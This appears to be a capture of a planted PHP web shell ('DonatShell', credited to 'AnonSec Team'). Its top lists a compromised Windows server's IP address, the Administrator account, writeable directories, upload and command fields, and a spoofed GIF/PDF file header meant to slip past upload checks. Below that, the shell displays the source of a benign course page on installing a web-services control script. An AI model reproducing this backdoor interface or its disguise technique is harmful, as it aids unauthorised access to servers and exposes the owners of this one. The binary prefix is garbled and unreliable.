GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/Setup/WebServices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/Setup/WebServices/index.php
<?
// WebServices/index.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');
include('common/InstructorInfo.phpinc');
$dataFolder = formValue('dataFolder','');
$courseNumber = formValue('courseNumber',''); if ($courseNumber == '') $courseNumber = 'CSTxxxx';
if ($courseNumber != 'CSTxxxx') {
	$courseNumberComment = '';
} else {
	$courseNumberComment = ' where <b>CSTxxxx</b> is the number of the course you are taking';
}
$courseTitle = formValue('courseTitle','');
$title = "Web Services Installation";
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
//$pageMenu= 'JimMartinson/Setup/Apache/Apache_Menu.phpinc';
include('common/pageHeader.phpinc');
?>
<?
$sectionTitle = $title;
include('common/sectionHeader.phpinc');
?>
<script type="text/javascript">
var numberForms = 3;
var numberImages = 2;
var pageURL = '../Setup/drive_Selected.php';
</script>

<p>
<ol class="instruction">
<?
//$fileWeb_Ex = '/'.$Instructor['Name'].'/'.$courseNumber.'/Web_ExRecordings/'.$courseNumber.'_Lab01_'.str_replace(' ','_',$title).'.wrf';
#printVar('$fileWeb_Ex',$fileWeb_Ex);
#printVar("\$_SERVER['DOCUMENT_ROOT']\.$fileWeb_Ex",$_SERVER['DOCUMENT_ROOT'].$fileWeb_Ex);
//if (file_exists($_SERVER['DOCUMENT_ROOT'].$fileWeb_Ex)) {
	/** /
?>
	View the <a href="<?=$fileWeb_Ex?>"><?=$title?></a> Web_Ex recording. You need to install the <a href="../Web_Ex/Web_Ex_WRF_Player_v2.9.1109.msi">Web_Ex player</a> to view the recording.<br>
<?/**/

?>
	<li>We need a utility to start and stop web services (such as Apache, Cold Fusion, IIS, MySQL, and nginx).
		<br>I wrote WebServices.cmd to control these.
		<br>Click on the <a href="WebServices.cmd">WebServices.cmd</a> link to download the file.
		<br>Select the <b><span type="text" id="driveSelected1" ><?=$_SESSION['userDefaultDrive']?>:</span>\<?=$courseNumber?>\Install</b> directory<?=$courseNumberComment?> you created during <a href="../ClassFolderSetup/?dataFolder=<?=$dataFolder?>&courseNumber=<?=$courseNumber?>&courseTitle=<?=$courseTitle?>" target="_blank">Class Folder Setup</a> and save it.
		<br><span class="note">If you are not asked where to save the <b>WebServices.cmd</b> file then open the folder it was downloaded to and move it to the <b><span type="text" id="driveSelected2" ><?=$_SESSION['userDefaultDrive']?>:</span>\<?=$courseNumber?>\Install</b> directory.</span>
		<!--
		<br>
		<div style="position:relative; width:563px; height:419px;">
			<img src="../save.png" style="position:absolute; width:563px; height:419px; z-index:0" />
			<img src="../saveFolder.png" id="folder1" name="folder1" style="position:absolute; margin-left:103px; margin-top:37px; z-index:1;" />
			<img src="../saveInstall.png" style="position:absolute; margin-left:129px; margin-top:37px; z-index:2;" />
			<img src="WebServices.bat.png" style="position:absolute; margin-left:199px; margin-top:358px; z-index:1;" />
		</div>
		-->
	</li>
	<li>Create a shortcut to <b>WebServices.cmd</b> and move it to your <b><span type="text" id="driveSelected2" ><?=$_SESSION['userDefaultDrive']?>:</span>\<?=$courseNumber?></b> folder.
		<!--
		<div style="position:relative; width:506px; height:387px;">
			<img src="../window.png" style="position:absolute; width:506px; height:387px; z-index:0" />
			<img src="../folder<?=$_SESSION['userDefaultDrive']?>.png" id="driveImage1" name="driveImage1" style="position:absolute; margin-left:53px; margin-top:94px; z-index:1;" />
			<div style="position:absolute; margin-left:86px; margin-top:93px; z-index:1; font-weight:normal; font-family:Tahoma, Arial, Helvetica, sans-serif; font-size:11px;">\<?=$courseNumber?></div>
			<img src="fileWebServicesShortcut.png" style="position:absolute; margin-left:214px; margin-top:137px; z-index:1;" />
		</div>
		-->
	</li>
	<li>Configure the <b>WebServices.cmd - Shortcut</b> shortcut to run as Administrator.
		<ol>
			<li>Right-click on the <b>WebServices.cmd - Shortcut</b> file and click Properties.</li>
			<li>Click the <b>Advanced</b> button.</li>
			<li>Check the <b>Run as administrator</b> check box.</li>
			<li>Click <b>OK</b>.</li>
			<li>Click <b>OK</b> again.</li>
		</ol>
		<span class="note"><b>WebServices.cmd</b> needs to be run as Administrator in order for it to work</span>
	</li>
	<li>Test <b>WebServices.cmd</b>.
		<ol>
			<li>Double-click on <b>WebServices.cmd - Shortcut</b> file we just created.
				<br>
				You will get a windows similar to the one below. It may differ depending on what services you have installed on your computer.
				<br>
				<div style="position:relative; width:677px; height:405px;">
					<img src="WebServicesNoneInstalled.png" alt="WebServices.cmd" style="width:677px; height:405px;" />
				</div>
			</li>
			<span class="note">If you have UAC enabled you will see the <b>User Account Control</b> pop up and you need to click <b>Yes</b> to continue.</span>
			<img src="uac.png">
		</ol>
	</li>
</ol>
Leave WebServices running for now. We will be using it later.
<br>
If you are continuing on to install web services, then any installed services should show <img src="STOPPED.png" alt="STOPPED" style="border-left:2px solid black; border-right:2px solid black; border-top:1px solid black; width:64px; height:14px;">. If they do not, then stop them.
<br>
<br>
That's it for WebServices.
You can <a href="javascript:window.open('','_parent','');window.close();" onclick="window.open('','_parent','');window.close();return false;">close</a> this window.
</p>
<?
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team